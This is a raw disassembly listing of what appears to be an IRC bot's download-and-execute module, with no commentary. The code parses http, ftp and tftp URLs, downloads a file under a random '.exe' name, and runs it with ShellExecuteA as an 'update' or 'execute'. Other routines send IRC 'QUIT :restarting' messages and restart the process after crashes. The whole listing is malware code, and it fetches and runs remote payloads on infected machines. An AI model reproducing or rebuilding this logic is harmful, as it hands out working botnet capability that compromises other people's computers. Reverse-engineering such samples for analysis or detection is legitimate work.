var_7E4 = dword ptr -7E4h
var_7E0 = dword ptr -7E0h
var_7DC = byte ptr -7DCh
var_6D5 = byte ptr -6D5h
var_6D4 = byte ptr -6D4h
var_6CC = dword ptr -6CCh
var_6C8 = dword ptr -6C8h
var_6C4 = dword ptr -6C4h
var_6C0 = dword ptr -6C0h
var_6BC = byte ptr -6BCh
var_6BB = byte ptr -6BBh
var_63C = dword ptr -63Ch
var_638 = byte ptr -638h
var_637 = byte ptr -637h
var_632 = byte ptr -632h
var_631 = byte ptr -631h
var_534 = byte ptr -534h
var_430 = byte ptr -430h
var_2A8 = byte ptr -2A8h
var_2A7 = byte ptr -2A7h
var_2A6 = byte ptr -2A6h
var_2A3 = byte ptr -2A3h
var_296 = byte ptr -296h
var_28C = dword ptr -28Ch
var_288 = dword ptr -288h
var_284 = byte ptr -284h
var_283 = byte ptr -283h
var_204 = byte ptr -204h
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 804h
push edi
push 3AFh
push [ebp+arg_0]
lea eax, [ebp+var_63C]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
lea eax, [ebp+var_638]
push eax
lea eax, [ebp+var_7DC]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
and [ebp+var_288], 0
mov [ebp+var_28C], 1
and [ebp+var_6CC], 0
mov al, byte_41DE30
mov [ebp+var_284], al
push 1Fh
pop ecx
xor eax, eax
lea edi, [ebp+var_283]
rep stosd
stosw
stosb
mov al, byte_41DE30
mov [ebp+var_6BC], al
push 1Fh
pop ecx
xor eax, eax
lea edi, [ebp+var_6BB]
rep stosd
stosw
stosb
and [ebp+var_6C8], 0
lea eax, [ebp+var_534]
push eax
lea eax, [ebp+var_7DC]
push eax
mov eax, [ebp+var_63C]
push dword ptr [eax]
push offset dword_4185CC
lea eax, [ebp+var_430]
push eax
call sub_40D53F
add esp, 14h
push 7
push offset aFile ; "file://"
lea eax, [ebp+var_638]
push eax
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz loc_402B93
push 0
lea eax, [ebp+var_534]
push eax
lea eax, [ebp+var_631]
push eax
call ds:dword_417060 ; CopyFileA
test eax, eax
jnz short loc_402B8E
call ds:dword_417064 ; RtlGetLastWin32Error
cmp eax, 20h
jnz short loc_402B58
lea eax, [ebp+var_534]
push eax
mov eax, [ebp+var_63C]
push dword ptr [eax]
push offset dword_41858C
lea eax, [ebp+var_430]
push eax
call sub_40D53F
add esp, 10h
jmp short loc_402B7B
; ---------------------------------------------------------------------------
loc_402B58: ; CODE XREF: sub_402A32+FFj
lea eax, [ebp+var_631]
push eax
mov eax, [ebp+var_63C]
push dword ptr [eax]
push offset dword_41855C
lea eax, [ebp+var_430]
push eax
call sub_40D53F
add esp, 10h
loc_402B7B: ; CODE XREF: sub_402A32+124j
push [ebp+var_63C]
call sub_409763
pop ecx
xor eax, eax
jmp loc_40325B
; ---------------------------------------------------------------------------
loc_402B8E: ; CODE XREF: sub_402A32+F4j
jmp loc_403256
; ---------------------------------------------------------------------------
loc_402B93: ; CODE XREF: sub_402A32+D6j
lea eax, [ebp+var_638]
push eax
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_6C0], eax
jmp short loc_402BB5
; ---------------------------------------------------------------------------
loc_402BA8: ; CODE XREF: sub_402A32:loc_402CD8j
mov eax, [ebp+var_6C0]
dec eax
mov [ebp+var_6C0], eax
loc_402BB5: ; CODE XREF: sub_402A32+174j
cmp [ebp+var_6C0], 0FFFFFFFFh
jz loc_402CDD
mov eax, [ebp+var_6C0]
movsx eax, [ebp+eax+var_638]
cmp eax, 3Ah
jnz loc_402CD8
mov [ebp+var_7E0], 1
jmp short loc_402BF2
; ---------------------------------------------------------------------------
loc_402BE5: ; CODE XREF: sub_402A32:loc_402CD3j
mov eax, [ebp+var_7E0]
inc eax
mov [ebp+var_7E0], eax
loc_402BF2: ; CODE XREF: sub_402A32+1B1j
mov eax, [ebp+var_6C0]
add eax, [ebp+var_7E0]
movsx eax, [ebp+eax+var_638]
test eax, eax
jz short loc_402C23
mov eax, [ebp+var_6C0]
add eax, [ebp+var_7E0]
movsx eax, [ebp+eax+var_638]
cmp eax, 2Fh
jnz short loc_402C7A
loc_402C23: ; CODE XREF: sub_402A32+1D6j
mov eax, [ebp+var_7E0]
and [ebp+eax+var_6D5], 0
lea eax, [ebp+var_6D4]
push eax
call sub_40422A
pop ecx
test eax, eax
jz short loc_402C75
mov eax, [ebp+var_6C0]
lea eax, [ebp+eax+var_638]
add eax, [ebp+var_7E0]
push eax
mov eax, [ebp+var_6C0]
lea eax, [ebp+eax+var_638]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
mov [ebp+var_6C8], 1
loc_402C75: ; CODE XREF: sub_402A32+20Ej
jmp loc_403251
; ---------------------------------------------------------------------------
loc_402C7A: ; CODE XREF: sub_402A32+1EFj
mov eax, [ebp+var_6C0]
add eax, [ebp+var_7E0]
movsx eax, [ebp+eax+var_638]
cmp eax, 30h
jl short loc_402CCE
mov eax, [ebp+var_6C0]
add eax, [ebp+var_7E0]
movsx eax, [ebp+eax+var_638]
cmp eax, 39h
jg short loc_402CCE
mov eax, [ebp+var_6C0]
add eax, [ebp+var_7E0]
mov ecx, [ebp+var_7E0]
mov al, [ebp+eax+var_638]
mov [ebp+ecx+var_6D5], al
jmp short loc_402CD3
; ---------------------------------------------------------------------------
loc_402CCE: ; CODE XREF: sub_402A32+25Fj
; sub_402A32+278j
jmp loc_40324C
; ---------------------------------------------------------------------------
loc_402CD3: ; CODE XREF: sub_402A32+29Aj
jmp loc_402BE5
; ---------------------------------------------------------------------------
loc_402CD8: ; CODE XREF: sub_402A32+1A1j
jmp loc_402BA8
; ---------------------------------------------------------------------------
loc_402CDD: ; CODE XREF: sub_402A32+18Aj
; sub_402A32:loc_40324Cj ...
push 7
push offset aHttp ; "http://"
lea eax, [ebp+var_638]
push eax
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_402D37
cmp [ebp+var_6C8], 0
jnz short loc_402D13
push offset a80 ; "80"
lea eax, [ebp+var_6D4]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_402D13: ; CODE XREF: sub_402A32+2CCj
lea eax, [ebp+var_631]
push eax
lea eax, [ebp+var_638]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
mov [ebp+var_6CC], 1
jmp loc_402E3D
; ---------------------------------------------------------------------------
loc_402D37: ; CODE XREF: sub_402A32+2C3j
push 6
push offset aFtp ; "ftp://"
lea eax, [ebp+var_638]
push eax
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_402DB7
cmp [ebp+var_6C8], 0
jnz short loc_402D6D
push offset a21 ; "21"
lea eax, [ebp+var_6D4]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_402D6D: ; CODE XREF: sub_402A32+326j
lea eax, [ebp+var_632]
push eax
lea eax, [ebp+var_638]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
mov [ebp+var_6CC], 2
push offset aAnonymous ; "anonymous"
lea eax, [ebp+var_284]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
push offset aAnonymous ; "anonymous"
lea eax, [ebp+var_6BC]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp loc_402E3D
; ---------------------------------------------------------------------------
loc_402DB7: ; CODE XREF: sub_402A32+31Dj
push 7
push offset aTftp ; "tftp://"
lea eax, [ebp+var_638]
push eax
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_402E0E
cmp [ebp+var_6C8], 0
jnz short loc_402DED
push offset a69 ; "69"
lea eax, [ebp+var_6D4]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_402DED: ; CODE XREF: sub_402A32+3A6j
lea eax, [ebp+var_631]
push eax
lea eax, [ebp+var_638]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
mov [ebp+var_6CC], 3
jmp short loc_402E3D
; ---------------------------------------------------------------------------
loc_402E0E: ; CODE XREF: sub_402A32+39Dj
mov eax, [ebp+var_63C]
push dword ptr [eax]
push offset unk_418500
lea eax, [ebp+var_430]
push eax
call sub_40D53F
add esp, 0Ch
push [ebp+var_63C]
call sub_409763
pop ecx
xor eax, eax
jmp loc_40325B
; ---------------------------------------------------------------------------
loc_402E3D: ; CODE XREF: sub_402A32+300j
; sub_402A32+380j ...
lea eax, [ebp+var_638]
push eax
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_6C0], eax
jmp short loc_402E5F
; ---------------------------------------------------------------------------
loc_402E52: ; CODE XREF: sub_402A32:loc_402F11j
mov eax, [ebp+var_6C0]
dec eax
mov [ebp+var_6C0], eax
loc_402E5F: ; CODE XREF: sub_402A32+41Ej
cmp [ebp+var_6C0], 0FFFFFFFFh
jz loc_402F16
mov eax, [ebp+var_6C0]
movsx eax, [ebp+eax+var_638]
cmp eax, 40h
jnz loc_402F11
mov eax, [ebp+var_6C0]
and [ebp+eax+var_638], 0
push offset asc_4184FC ; ":"
lea eax, [ebp+var_638]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_7E4], eax
cmp [ebp+var_7E4], 0
jz short loc_402ED8
mov eax, [ebp+var_7E4]
and byte ptr [eax], 0
push 80h
mov eax, [ebp+var_7E4]
inc eax
push eax
lea eax, [ebp+var_6BC]
push eax
call sub_407A56
add esp, 0Ch
loc_402ED8: ; CODE XREF: sub_402A32+47Fj
push 80h
lea eax, [ebp+var_638]
push eax
lea eax, [ebp+var_284]
push eax
call sub_407A56
add esp, 0Ch
mov eax, [ebp+var_6C0]
lea eax, [ebp+eax+var_637]
push eax
lea eax, [ebp+var_638]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_402F16
; ---------------------------------------------------------------------------
loc_402F11: ; CODE XREF: sub_402A32+44Bj
jmp loc_402E52
; ---------------------------------------------------------------------------
loc_402F16: ; CODE XREF: sub_402A32+434j
; sub_402A32+4DDj
push offset asc_4184F8 ; "/"
lea eax, [ebp+var_638]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_288], eax
cmp [ebp+var_288], 0
jnz short loc_402F67
mov eax, [ebp+var_63C]
push dword ptr [eax]
push offset unk_4184CC
lea eax, [ebp+var_430]
push eax
call sub_40D53F
add esp, 0Ch
push [ebp+var_63C]
call sub_409763
pop ecx
xor eax, eax
jmp loc_40325B
; ---------------------------------------------------------------------------
loc_402F67: ; CODE XREF: sub_402A32+504j
mov eax, [ebp+var_288]
inc eax
push eax
lea eax, [ebp+var_204]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
mov eax, [ebp+var_288]
and byte ptr [eax], 0
lea eax, [ebp+var_638]
push eax
lea eax, [ebp+var_100]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
call sub_416B64 ; clock
mov [ebp-6D8h], eax
and [ebp+var_6C4], 0
cmp [ebp+var_6CC], 1
jnz short loc_403009
push [ebp+var_63C]
movsx eax, [ebp+var_2A8]
neg eax
sbb eax, eax
neg eax
push eax
lea eax, [ebp+var_6C4]
push eax
lea eax, [ebp+var_534]
push eax
lea eax, [ebp+var_204]
push eax
lea eax, [ebp+var_6D4]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_6BC]
push eax
lea eax, [ebp+var_284]
push eax
call sub_402698
add esp, 24h
mov [ebp+var_28C], eax
loc_403009: ; CODE XREF: sub_402A32+582j
cmp [ebp+var_6CC], 2
jnz short loc_403065
push [ebp+var_63C]
movsx eax, [ebp+var_2A8]
neg eax
sbb eax, eax
neg eax
push eax
lea eax, [ebp+var_6C4]
push eax
lea eax, [ebp+var_534]
push eax
lea eax, [ebp+var_204]
push eax
lea eax, [ebp+var_6D4]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_6BC]
push eax
lea eax, [ebp+var_284]
push eax
call sub_402A24
add esp, 24h
mov [ebp+var_28C], eax
loc_403065: ; CODE XREF: sub_402A32+5DEj
cmp [ebp+var_6CC], 3
jnz short loc_4030B3
push [ebp+var_63C]
movsx eax, [ebp+var_2A8]
neg eax
sbb eax, eax
neg eax
push eax
lea eax, [ebp+var_6C4]
push eax
lea eax, [ebp+var_534]
push eax
lea eax, [ebp+var_204]
push eax
lea eax, [ebp+var_6D4]
push eax
lea eax, [ebp+var_100]
push eax
call sub_402A2B
add esp, 1Ch
mov [ebp+var_28C], eax
loc_4030B3: ; CODE XREF: sub_402A32+63Aj
; sub_402A32:loc_403256j
cmp [ebp+var_28C], 1
jnz loc_403219
movsx eax, [ebp+var_296]
test eax, eax
jz short loc_4030D7
mov [ebp+var_7EC], offset aUpdating ; ", updating"
jmp short loc_403104
; ---------------------------------------------------------------------------
loc_4030D7: ; CODE XREF: sub_402A32+697j
movsx eax, [ebp+var_2A6]
test eax, eax
jz short loc_4030EE
mov [ebp+var_7F0], offset aExecuting ; ", executing"
jmp short loc_4030F8
; ---------------------------------------------------------------------------
loc_4030EE: ; CODE XREF: sub_402A32+6AEj
mov [ebp+var_7F0], offset byte_41DE30
loc_4030F8: ; CODE XREF: sub_402A32+6BAj
mov eax, [ebp+var_7F0]
mov [ebp+var_7EC], eax
loc_403104: ; CODE XREF: sub_402A32+6A3j
push [ebp+var_7EC]
mov eax, [ebp+var_6C4]
shr eax, 0Ah
mov dword ptr [ebp+var_7F8], eax
and dword ptr [ebp+var_7F8+4], 0
fild [ebp+var_7F8]
fstp [ebp+var_7FC]
call sub_416B64 ; clock
sub eax, [ebp-6D8h]
mov dword ptr [ebp+var_804], eax
and dword ptr [ebp+var_804+4], 0
fild [ebp+var_804]
fdiv ds:flt_417270
fdivr [ebp+var_7FC]
push ecx
push ecx
fstp [esp+814h+var_814]
lea eax, [ebp+var_534]
push eax
mov eax, [ebp+var_63C]
push dword ptr [eax]
push offset dword_41846C
lea eax, [ebp+var_430]
push eax
call sub_40D53F
add esp, 1Ch
movsx eax, [ebp+var_2A7]
test eax, eax
jz short loc_403198
lea eax, [ebp+var_534]
push eax
call ds:dword_4170AC ; DeleteFileA
jmp short loc_403217
; ---------------------------------------------------------------------------
loc_403198: ; CODE XREF: sub_402A32+755j
movsx eax, [ebp+var_2A6]
test eax, eax
jnz short loc_4031AE
movsx eax, [ebp+var_296]
test eax, eax
jz short loc_403217
loc_4031AE: ; CODE XREF: sub_402A32+76Fj
movsx eax, [ebp+var_2A3]
neg eax
sbb eax, eax
inc eax
push eax
push 0
push 0
lea eax, [ebp+var_534]
push eax
push offset aOpen ; "open"
push 0
call ds:dword_4171D0 ; ShellExecuteA
mov [ebp+var_7E8], eax
cmp [ebp+var_7E8], 20h
jbe short loc_4031F4
movsx eax, [ebp+var_296]
test eax, eax
jz short loc_4031F2
call sub_407148
loc_4031F2: ; CODE XREF: sub_402A32+7B9j
jmp short loc_403217
; ---------------------------------------------------------------------------
loc_4031F4: ; CODE XREF: sub_402A32+7AEj
lea eax, [ebp+var_534]
push eax
mov eax, [ebp+var_63C]
push dword ptr [eax]
push offset dword_418444
lea eax, [ebp+var_430]
push eax
call sub_40D53F
add esp, 10h
loc_403217: ; CODE XREF: sub_402A32+764j
; sub_402A32+77Aj ...
jmp short loc_40323C
; ---------------------------------------------------------------------------
loc_403219: ; CODE XREF: sub_402A32+688j
lea eax, [ebp+var_7DC]
push eax
mov eax, [ebp+var_63C]
push dword ptr [eax]
push offset dword_418414
lea eax, [ebp+var_430]
push eax
call sub_40D53F
add esp, 10h
loc_40323C: ; CODE XREF: sub_402A32:loc_403217j
push [ebp+var_63C]
call sub_409763
pop ecx
xor eax, eax
jmp short loc_40325B
; ---------------------------------------------------------------------------
loc_40324C: ; CODE XREF: sub_402A32:loc_402CCEj
jmp loc_402CDD
; ---------------------------------------------------------------------------
loc_403251: ; CODE XREF: sub_402A32:loc_402C75j
jmp loc_402CDD
; ---------------------------------------------------------------------------
loc_403256: ; CODE XREF: sub_402A32:loc_402B8Ej
jmp loc_4030B3
; ---------------------------------------------------------------------------
loc_40325B: ; CODE XREF: sub_402A32+157j
; sub_402A32+406j ...
pop edi
leave
retn 4
sub_402A32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403260 proc near ; CODE XREF: sub_40A9CF+959p
var_14 = dword ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
cmp [ebp+arg_4], 0
jnz short loc_403271
jmp locret_403329
; ---------------------------------------------------------------------------
loc_403271: ; CODE XREF: sub_403260+Aj
push 3AFh
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_40328A
jmp locret_403329
; ---------------------------------------------------------------------------
loc_40328A: ; CODE XREF: sub_403260+23j
push 8
push 7Ah
push 61h
push 4
lea eax, [ebp+var_10]
push eax
call sub_410501
add esp, 14h
and [ebp+eax+var_10], 0
push offset a_exe ; ".exe"
lea eax, [ebp+var_10]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
cmp [ebp+arg_8], 0
jnz short loc_4032BF
lea eax, [ebp+var_10]
mov [ebp+arg_8], eax
loc_4032BF: ; CODE XREF: sub_403260+57j
push 104h
push [ebp+arg_4]
mov eax, [ebp+var_14]
add eax, 4
push eax
call sub_407A56
add esp, 0Ch
push 104h
push [ebp+arg_8]
mov eax, [ebp+var_14]
add eax, 108h
push eax
call sub_407A56
add esp, 0Ch
push [ebp+arg_0]
mov eax, [ebp+var_14]
add eax, 20Ch
push eax
call sub_405F67
pop ecx
pop ecx
mov eax, [ebp+var_14]
add eax, 108h
push eax
mov eax, [ebp+var_14]
add eax, 4
push eax
push offset dword_4185FC
push 0
push [ebp+var_14]
push offset sub_402A32
call sub_4095A4
add esp, 18h
locret_403329: ; CODE XREF: sub_403260+Cj
; sub_403260+25j
leave
retn
sub_403260 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40332B proc near ; CODE XREF: sub_4093B6+A0p
; sub_4094E6+9Bp ...
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 114h
push 1
push offset dword_41DE3C
call sub_409C88
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp dword_41DE38, 0
jz loc_4034D9
mov [ebp+var_8], offset aException_othe ; "EXCEPTION_OTHER"
mov eax, [ebp+arg_0]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_110], eax
cmp [ebp+var_110], 0C0000025h
ja short loc_4033A4
cmp [ebp+var_110], 0C0000025h
jz short loc_4033FA
cmp [ebp+var_110], 80000003h
jz short loc_4033DF
cmp [ebp+var_110], 0C0000005h
jz short loc_4033D6
cmp [ebp+var_110], 0C000001Dh
jz short loc_4033E8
jmp short loc_403413
; ---------------------------------------------------------------------------
loc_4033A4: ; CODE XREF: sub_40332B+45j
cmp [ebp+var_110], 0C000008Dh
jb short loc_403413
cmp [ebp+var_110], 0C0000093h
jbe short loc_40340C
cmp [ebp+var_110], 0C0000094h
jz short loc_4033F1
cmp [ebp+var_110], 0C00000FDh
jz short loc_403403
jmp short loc_403413
; ---------------------------------------------------------------------------
loc_4033D6: ; CODE XREF: sub_40332B+69j
mov [ebp+var_8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION"
jmp short loc_403413
; ---------------------------------------------------------------------------
loc_4033DF: ; CODE XREF: sub_40332B+5Dj
mov [ebp+var_8], offset aException_brea ; "EXCEPTION_BREAKPOINT"
jmp short loc_403413
; ---------------------------------------------------------------------------
loc_4033E8: ; CODE XREF: sub_40332B+75j
mov [ebp+var_8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION"
jmp short loc_403413
; ---------------------------------------------------------------------------
loc_4033F1: ; CODE XREF: sub_40332B+9Bj
mov [ebp+var_8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO"
jmp short loc_403413
; ---------------------------------------------------------------------------
loc_4033FA: ; CODE XREF: sub_40332B+51j
mov [ebp+var_8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION"
jmp short loc_403413
; ---------------------------------------------------------------------------
loc_403403: ; CODE XREF: sub_40332B+A7j
mov [ebp+var_8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW"
jmp short loc_403413
; ---------------------------------------------------------------------------
loc_40340C: ; CODE XREF: sub_40332B+8Fj
mov [ebp+var_8], offset aException_flt ; "EXCEPTION_FLT"
loc_403413: ; CODE XREF: sub_40332B+77j
; sub_40332B+83j ...
mov eax, [ebp+arg_0]
mov eax, [eax]
cmp dword ptr [eax+4], 1
jnz short loc_40342A
mov [ebp+var_114], offset aRestarting ; "Restarting"
jmp short loc_403434
; ---------------------------------------------------------------------------
loc_40342A: ; CODE XREF: sub_40332B+F1j
mov [ebp+var_114], offset aContinuing ; "Continuing"
loc_403434: ; CODE XREF: sub_40332B+FDj
push [ebp+var_114]
push [ebp+var_8]
mov eax, [ebp+arg_0]
mov eax, [eax]
push dword ptr [eax]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0C0h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0B8h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0C4h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0B4h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+9Ch]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0A0h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0A8h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0ACh]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0A4h]
mov eax, [ebp+arg_0]
mov eax, [eax+4]
push dword ptr [eax+0B0h]
mov eax, [ebp+var_4]
inc eax
push eax
push [ebp+arg_8]
push [ebp+arg_4]
push offset dword_41864C
push offset aLast ; "#last"
call sub_40D4AB
add esp, 48h
loc_4034D9: ; CODE XREF: sub_40332B+21j
mov eax, [ebp+var_4]
inc eax
cmp eax, 64h
jz short loc_4034ED
mov eax, [ebp+arg_0]
mov eax, [eax]
cmp dword ptr [eax+4], 1
jnz short loc_403558
loc_4034ED: ; CODE XREF: sub_40332B+1B5j
push 104h
lea eax, [ebp+var_10C]
push eax
push 0
call ds:dword_41708C ; GetModuleHandleA
push eax
call ds:dword_417090 ; GetModuleFileNameA
test eax, eax
jz short loc_403545
push 0
push 0
push 0
lea eax, [ebp+var_10C]
push eax
push offset aOpen ; "open"
push 0
call ds:dword_4171D0 ; ShellExecuteA
cmp eax, 20h
ja short loc_403538
push offset aQuitExitting ; "QUIT :exitting"
call sub_40D6CB
pop ecx
jmp short loc_403543
; ---------------------------------------------------------------------------
loc_403538: ; CODE XREF: sub_40332B+1FEj
push offset aQuitRestarting ; "QUIT :restarting"
call sub_40D6CB
pop ecx
loc_403543: ; CODE XREF: sub_40332B+20Bj
jmp short loc_403550
; ---------------------------------------------------------------------------
loc_403545: ; CODE XREF: sub_40332B+1DFj
push offset aQuitRestarting ; "QUIT :restarting"
call sub_40D6CB
pop ecx
loc_403550: ; CODE XREF: sub_40332B:loc_403543j
push 0
call ds:dword_41705C ; ExitProcess
loc_403558: ; CODE XREF: sub_40332B+1C0j
mov eax, [ebp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 80000003h
jnz short loc_403583
mov eax, [ebp+arg_0]
mov eax, [eax+4]
mov eax, [eax+0B8h]
inc eax
mov ecx, [ebp+arg_0]
mov ecx, [ecx+4]
mov [ecx+0B8h], eax
or eax, 0FFFFFFFFh
jmp short locret_403586
; ---------------------------------------------------------------------------
loc_403583: ; CODE XREF: sub_40332B+238j
push 1
pop eax
locret_403586: ; CODE XREF: sub_40332B+256j
leave
retn
sub_40332B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403588 proc near ; DATA XREF: sub_403BD3:loc_403D85o
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = dword ptr -2Ch
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 48h
cmp [ebp+arg_8], 0
jz short loc_4035E2
mov eax, [ebp+arg_8]
cmp dword ptr [eax+4], 0
jz short loc_4035BB
mov eax, [ebp+arg_8]
cmp dword ptr [eax+4], 2
jz short loc_4035BB
push 273Fh
call ds:dword_417234 ; WSASetLastError
mov eax, 273Fh
jmp locret_4038B6
; ---------------------------------------------------------------------------
loc_4035BB: ; CODE XREF: sub_403588+13j
; sub_403588+1Cj
mov eax, [ebp+arg_8]
cmp dword ptr [eax+8], 1
jz short loc_4035E2
mov eax, [ebp+arg_8]
cmp dword ptr [eax+8], 2
jz short loc_4035E2
push 273Ch
call ds:dword_417234 ; WSASetLastError
mov eax, 273Ch
jmp locret_4038B6
; ---------------------------------------------------------------------------
loc_4035E2: ; CODE XREF: sub_403588+Aj
; sub_403588+3Aj ...
cmp [ebp+arg_0], 0
jnz loc_4036D6
push 30h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_34], eax
cmp [ebp+var_34], 0
jnz short loc_40360D
push 8
call ds:dword_417234 ; WSASetLastError
push 8
pop eax
jmp locret_4038B6
; ---------------------------------------------------------------------------
loc_40360D: ; CODE XREF: sub_403588+73j
push 30h
push 0
push [ebp+var_34]
call sub_416B6A ; memset
add esp, 0Ch
push 10h
push 0
lea eax, [ebp+var_30]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov [ebp+var_30], 2
cmp [ebp+arg_4], 0
jz short loc_40364C
push [ebp+arg_4]
call sub_416B9C ; atoi
pop ecx
push eax
call ds:dword_417238 ; ntohs
mov [ebp+var_2E], ax
loc_40364C: ; CODE XREF: sub_403588+AEj
mov eax, [ebp+var_34]
mov dword ptr [eax+4], 2
cmp [ebp+arg_8], 0
jz short loc_403667
mov eax, [ebp+arg_8]
mov eax, [eax+8]
mov [ebp+var_38], eax
jmp short loc_40366E
; ---------------------------------------------------------------------------
loc_403667: ; CODE XREF: sub_403588+D2j
mov [ebp+var_38], 1
loc_40366E: ; CODE XREF: sub_403588+DDj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_38]
mov [eax+8], ecx
cmp [ebp+arg_8], 0
jz short loc_403688
mov eax, [ebp+arg_8]
mov eax, [eax+0Ch]
mov [ebp+var_3C], eax
jmp short loc_40368F
; ---------------------------------------------------------------------------
loc_403688: ; CODE XREF: sub_403588+F3j
mov [ebp+var_3C], 6
loc_40368F: ; CODE XREF: sub_403588+FEj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_3C]
mov [eax+0Ch], ecx
mov eax, [ebp+var_34]
mov dword ptr [eax+10h], 10h
mov eax, [ebp+var_34]
add eax, 20h
mov ecx, [ebp+var_34]
mov [ecx+18h], eax
and [ebp+var_2C], 0
push 10h
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+var_34]
add eax, 20h
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+arg_C]
mov ecx, [ebp+var_34]
mov [eax], ecx
xor eax, eax
jmp locret_4038B6
; ---------------------------------------------------------------------------
loc_4036D6: ; CODE XREF: sub_403588+5Ej
push [ebp+arg_0]
call ds:dword_41723C ; gethostbyname
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_4036F2
mov eax, 2AFBh
jmp locret_4038B6
; ---------------------------------------------------------------------------
loc_4036F2: ; CODE XREF: sub_403588+15Ej
and [ebp+var_20], 0
jmp short loc_4036FF
; ---------------------------------------------------------------------------
loc_4036F8: ; CODE XREF: sub_403588+18Cj
mov eax, [ebp+var_20]
inc eax
mov [ebp+var_20], eax
loc_4036FF: ; CODE XREF: sub_403588+16Ej
cmp [ebp+var_14], 0
jz short loc_403716
mov eax, [ebp+var_14]
mov eax, [eax+0Ch]
mov ecx, [ebp+var_20]
cmp dword ptr [eax+ecx*4], 0
jz short loc_403716
jmp short loc_4036F8
; ---------------------------------------------------------------------------
loc_403716: ; CODE XREF: sub_403588+17Bj
; sub_403588+18Aj
cmp [ebp+var_20], 0
jnz short loc_403726
mov eax, 2AFBh
jmp locret_4038B6
; ---------------------------------------------------------------------------
loc_403726: ; CODE XREF: sub_403588+192j
mov eax, [ebp+var_20]
imul eax, 30h
push eax
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_40374C
push 8
call ds:dword_417234 ; WSASetLastError
push 8
pop eax
jmp locret_4038B6
; ---------------------------------------------------------------------------
loc_40374C: ; CODE XREF: sub_403588+1B2j
mov eax, [ebp+var_20]
imul eax, 30h
push eax
push 0
push [ebp+var_1C]
call sub_416B6A ; memset
add esp, 0Ch
push 10h
push 0
lea eax, [ebp+var_10]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov [ebp+var_10], 2
